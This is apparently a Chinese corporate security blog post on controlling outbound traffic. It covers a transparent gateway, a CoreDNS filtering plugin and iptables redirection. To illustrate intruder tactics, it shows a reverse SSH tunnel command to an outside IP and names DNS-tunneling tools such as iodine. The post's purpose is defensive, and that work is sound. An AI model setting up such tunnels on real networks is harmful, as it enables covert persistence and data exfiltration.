七叶笔记 » golang编程 » 中通内网安全之外发流量管理

中通内网安全之外发流量管理

​​背景

随着互联网的高速发展与国家监管部门日益严苛的要求,越来越多的企业开始重视起信息安全,并着眼解决诸如 SQL 注入、XSS、CSRF、业务漏洞等常见的问题,所取得的成果也颇具成效。然而,信息安全是一个「生于忧患,死于安乐」的行业,你永远无法知道哪天冒出种新的攻击方式,谁又发现了个新的 0day。又或者,主机早已被注入了暗藏的 shell。屏幕背后的黑客,正在酝酿一场新的攻击…

是的,没人能保证哪些业务完全没有漏洞,哪怕是有 10 个漏洞,修了 9 个,有 1 个漏洞没修复好,还是会导致服务器被入侵。

千里之堤溃于蚁穴正是如此。我们要做的就是预防这一切发生后的后续风险。

作为快递物流企业,对黑客来说最有价值的数据大概就是客户信息了吧。黑客黑进来,总是要想办法把数据拿出去的,怎么别让数据轻易出去,就是我们今天要讨论的话题——「外发 流量管理 」。

为什么要进行「外发流量管理」

1. 找出内网中对外连接的后门、向外脱数据的行为

2. 对各主机的网络访问行为进行统一管控和汇总,实现网络层面对主机的权限控制

3. 只允许内网主机在合法的业务需求范围内,向外请求数据(如微信推送、钉钉推送、监管局推送等)

4. 部分业务系统可能存在 SSRF 漏洞,扫描器、人工测试均采用「向外发送请求」的方式验证漏洞是否存在。通过外发流量管控能很快的发现由哪台主机发起了一个意外「孤立的请求」,然后顺藤摸瓜找到漏洞存在点。

了解黑客入侵主机后的一些手段

作为一位合格的黑客,在获取到主机 root 权限后,首先要做的就是维持后门的持久性:保住自己的控制权,持续潜伏,以便持续收集各种信息。这时,就需要想办法穿透内网对外进行通讯,很多封了外网访问的情况下也能杀出一条通道来。

没有限制外网访问的内网主机,可以直接通过反向连接 ssh 与外网通讯:

$ ssh -R 19999:localhost:22 sourceuser@123.123.99.99 

稍微聪明一些的做法,会使用诸如 shadowsocks 之类的技术创建一条代理通讯隧道,伪装成 tls 请求,来绕过防火墙的审计。

很多企业通常会禁止内网的主机访问外网,通过配置防火墙放行某些有外网访问需求的主机。但因为有 DNS 解析需求,往往都没有限制 53 端口的对外访问。这时,攻击者只需要简单的配置 openvpn over dns 就能创建一条与外网通讯的 tunnel,俗称打洞,然后就能通过这条 DNS 隧道传输数据了:

Softether VPN 提供的 DNS 隧道功能

经过配置的 openvpn 可以实现直接对内网的扫描,就如同本地二层网络一般,甚至可以直接嗅探 arp 等封包。

安全措施更完善的一些企业,防火墙则完全关闭了包括 53 端口在内的对外访问,并自建了 DNS 服务作为内网的 DNS 服务器。但,这也防不住我们黑客,因为内网 DNS 服务器需要与上游 DNS 服务器通讯,就要求访问外网,我们可以利用这一点来打洞:

DNS 穿透原理示意图

诸如 dns2tcp、iodine 等 dns tunneling 开源工具都可以实现此类需求:

iodine

iodine 是目前比较活跃,知名度比较大的一个 dns tunneling 实现工具,平台覆盖范围广,它可以运行在 Linux, Mac OS X, FreeBSD, NetBSD, OpenBSD 和 Windows 上,甚至还有android 客户端,不过它需要安装 TUN/TAP。官方称上行速度最大 680 kbit/s,下行速度上限可以达到 2.3Mbit/s。

那我们把内网完全隔离,DNS 服务一关不就一劳永逸了吗?

企业现状

在现实的日常开发中,有许多需要访问外网的场景。搭建生产环境时需要安装各种依赖,请求外部的业务接口,如微信、钉钉等等。因此,与黑客的抗衡并不是简单的在防火墙上封封网络做做隔离就能赢的。

• 传统的四层防火墙,配置细粒度只能到目标IP和端口,目标业务为 CDN 域时,CDN 节点更新后业务就无法正常工作了。有时还需要维护一张很大的 CDN 节点表,还会受到防火墙规则条目的容量限制。

• 较新的一些七层防火墙,规则配置细粒度可以精确到域名级,仅允许指定主机访问指定域名,实现外网访问的管控:

某防火墙配置示例图

现实困难和风险

DevOps 的推行,伴随着频繁的项目发布。运维人员需要配合企业日新月异的业务增长需求:新增主机、回收主机,不停的维护各项防火墙规则、审批权限等。随之而来的纷繁工作,令运维人员苦不堪言。有外网访问需求的项目,主机弹性扩容更是难以实现。

可即便是这样,还依旧绕不开 DNS 打洞的问题。甚至很多时候,懒得配规则,直接将主机所有请求放行。而这种懒政,势必会带来巨大的风险。

如果我们想要完全通过传统防火墙解决对于背景中描述的风险,就会面临以下问题:

  • 传统防火墙配置麻烦,难以管理
  • 传统防火墙没有专门针对例外规则访问告警
  • 传统防火墙对 HTTPS 解密需要高性能型号主机,贵
  • 传统防火墙对 DNS 穿透问题,没有针对性的解决方案
  • 传统防火墙被屏蔽的主机没有报错信息,对开发不友好
  • 传统防火墙无法提供相关配置 API 与其他系统进行联动
  • 传统防火墙定制功能需要支付高昂的定制开发费用开发周期长
  • 传统防火墙没有针对外发请求 dump,难以回溯过去外发的数据,不好满足审计需求

万金油方案

说了这么多,那有啥物美价廉的方案又能管事儿的不?有。我们自己来实现一个“防火墙”插进去:

网络拓扑 示意图

上面的网络拓扑示意图中,我们在 核心交换机 旁挂了透明网关,其运行的基本原理是在转发 TCP/IP 流量时劫持掉指定协议内容,其他类型的流量则直接透传给防火墙处理。将它旁挂于核心交换机,也便于透明网关发生故障时核心交换机能够自动 bypass。

我们基于 openresty 进行二次开发,对目标请求进行代理,以实现 http/https 协议管控,根据规则对访问进行放行或阻断。对于被劫持的 DNS 请求,可送给 CoreDNS (或其他开源 DNS 服务器实现)进行清洗。

具体工作流程如下:

整体架构示意图

有关 openresty/kong 的开发细节,可参见前篇 《中通安全访问代理设计与实现》主题分享。

如不需要 dump HTTPS 的请求内容,可直接转发被放行的域名下 443 端口的流量。如果有劫持解密 HTTPS 的需求,可通过 openresty 中的 ngx.ssl 模块实现:

代理服务支持 SSL 证书 SAN 动态签发

在传统防火墙管理的环境中,开发人员在部署过程时如遇到外网请求失败等情况,需多次向运维人员确认权限等非业务开发部署原因造成的问题。由于开发人员自身难以断定到网络问题的真实原因,我们对支持的协议类型优化了响应报错信息,便于开发人员快速定位网络问题,开发人员还可根据提示自助完成外网访问的申请:

友好的错误提示

对于请求日志,会首先送至 Kafka 消息队列,最终落在 Elasticsearch 上。得益于Elasticsearch 强大的搜索、聚合能力,我们可以很方便地开发前端大盘界面,统计各项概览,使得审计、运营人员可以很方便得查看各项统计指标,回溯主机过去的事件行为:

滑动以查看

外发请求概览

请求流量分布示例

还可查看单个请求的详情:

滑动以查看

单请求详情示例

DNS 清洗的实现

DNS 清洗是通过 CoreDNS 插件实现的。

CoreDNS 广泛应用于 Kubernetes 作为其默认的 DNS 服务,基于 Caddy 服务器框架,由 golang 语言编写。CoreDNS 实现了一个插件链的架构,将大量应用端的逻辑抽象成 plugin ,因此我们可以方便地通过插件实现 DNS 清洗。

鉴于 CoreDNS 官方插件中已经实现了通过 etcd 的方式解析域名(github.com/coredns/coredns/tree/master/plugin/etcd),我们可以参照 log 和 etcd 插件的实现,编写一个清洗器来对客户端的 DNS 请求过滤和审计。

核心逻辑是实现 github.com/coredns/coredns/plugin.Handler 接口:

// ServeDNS implements the plugin.Handler interface.
func (washer Washer) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
 state := request.Request{W: w, Req: r}

 // 如果请求主机没有权限解析目标域名则返回空记录
 if !washer.isHostAllowedDomainWithCache(state.IP(), state.QName(), state.QType()) {
 return dns.RcodeSuccess, w.WriteMsg(new(dns.Msg).SetReply(r))
 }

 // 否则继续执行查询
 return plugin.NextOrFailure(washer.Name(), washer.Next, ctx, w, r)} 

插件编写完毕后,修改 Corefile,将插件加入链中:

.:5353 {
 ...
 washer
 ...
} 

至此,我们就实现了对各主机的 DNS 请求清洗,仅允许指定主机解析指定域和指定类型(如 A 记、CNAME 等)的 DNS 记录。

劫持主机请求的方案选择

对于劫持主机流量的方案,有几种:

• DNS 劫持

• 网关劫持

• 路由劫持

他们都有各自的优缺点:

• DNS 劫持,是我们最开始考虑的,优点是实现起来简单;缺点是需要修改 DHCP 服务器 DNS 配置,如主机 网卡 BOOTPROTO 为静态地址,则需要修改每台主机的配置。且只能劫持 http/https 类型协议,直接访问 ip 的无法劫持。

• 网关劫持,相对 DNS 劫持,支持劫持任何基于 tcp/ip 协议族的网络流量;缺点跟前者类似,需要修改 DHCP 服务器 Gateway 配置,如主机网卡 BOOTPROTO 为静态地址,则需要修改每台主机的配置。可以劫持各类型的协议,且每个网段都需要部署一套服务。

• 路由层透明网关劫持,优点是主机对网关无感知,不需要修改任何服务器配置,能够结合 策略路由 快速恢复故障,且支持劫持任何基于 tcp/ip 协议族的网络流量;缺点是架构设计较为复杂,需要 交换机 配合修改路由规则。

前两种方式有个共同的缺点:由于修改了 DHCP 服务器/网卡 配置,遇到故障很难快速恢复到正常的 DNS/网关。所以最终我们还是决定选择路由层透明网关劫持的方案。

透明网关实现过程

核心交换机实际旁挂了两台带有万兆网卡的主机,由 keepalived 实现 vip。运行 Linux 操作系统。实现网络流量劫持的过程如下:

修改系统内核参数,打开 Linux 操作系统的路由转发功能:

$ sysctl -w net. ipv4 .ip_forward=1 

还需要进行一些日常的 ulimit 性能调优,如 openfiles、连接数优化等。

然后,通过 iptables 将 PREROUTING 链中,目标为 80 端口、443 端口、53 端口 劫持到对应的代理服务上。在这里,直接将对应服务指向本机的对应服务端口(-j REDIRECT port):

$ iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
$ iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 4433
$ iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-port 5353 

如有需要,还可通过 -s 参数指定要劫持的 IP 范围。如不指定,则默认劫持所有来源的请求。

需要注意的是,iptables 规则不宜过多,规则过多会显著拖慢性能,如果有大量类似的规则或变更较为频繁,可使用 ipset 来进行 match:

$ iptables -t nat -A PREROUTING -p tcp -m set --match-set hijacked src --dport 80 -j REDIRECT --to-port 8080 

如果在使用 iptables 时遇到了性能问题,也可以考虑将基于 netfilter 框架的 iptables 更换为基于 BPF(Berkeley Packet Filter)框架的其他网络 filter,BPF 拥有更好的性能,但相对来说资料较少,可能要经历较长的填坑过程。

至此,服务全部部署完毕后,就可以在交换机配置 default next-hop 策略路由,将外网访问路由指向透明网关 vip:

$ set ip default next-hop address 192.168.0.200 

这里需要特别注意一点的是,如果交换机不支持 default next-hop 形式策略路由,则需要联合配置多条 ACL 来将访问外网的流量指向透明网关,否则会将内网的流量引入透明网关,这不仅浪费透明网关资源,还会浪费交换机背板带宽,显著降低网络的整体性能。

未来展望

在过去相当长的时间,许多开发人员都认为内网是 100% 安全的。所幸的是,越来越多的人都逐渐意识到了信息安全的重要性,更加关注了内网安全。现今的 ServiceMesh 架构,在整个架构层就重视加强了内网的安全设计,例如 Istio 中,各 Pod 相互通讯由 sidecar 封装的 mTLS 保证内网通讯安全,在《深入浅出 Istio:Service Mesh 快速入门与实践》中我们更是欣慰地看到了一个特性——「出口流量管理」,其中详细介绍了如何对外发流量进行配置管理:

Istio 在对应用进行注人的时候,会劫持该应用的所有流量,在默认情况下,网格之内的应用是无法访问网格之外的服务的,例如尝试在 Sleep Pod 中访问

$ export SOURCE POD=$(kubectl get pod -l app=sleep, version=v1 -o jsonpath={.items. .metadata.name})
$ kubectl exec -it $SOURCE POD -c sleep — http
HTTP/1.1 404 Not Found
content-length: 0
date: Wed, 19 Dec 2018 17:26:51 GMT
server: envoy

可以看到,由 Sidecar 返回了 404 错误。

但是从网格内部发起对外的网络请求是常见的需求,Istio 提供了以下几种方式用于网格外部通信。

设置 Sidecar 的流量劫持范围:根据 IP 地址来告知 Sidecar,哪些外部资源可以放开访问。

注册 ServiceEntry:把网格外部的服务使用 ServiceEntry 的方式注册到网格内部。

在各种新架构不断涌现的今天,以 Istio on Kubernetes 为代表的各种架构,都提前考虑并做好了安全解决方案。也许不久的将来,安全人员不再需要担心网络层面的安全问题。但在今天,外发流量管理上我们还需要兼备原有的架构,未来还有更多的工作需要我们探索,不论是性能的优化,还是更多协议的支持。安全之道,任重道远。

编者水平有限,缺点和疏漏在所难免,恳请大家不吝指正,万分感激。

参考文献

CoreDNS – 快速入门

《深入浅出 Istio:Service Mesh 快速入门与实践》(崔秀龙 作)

相关文章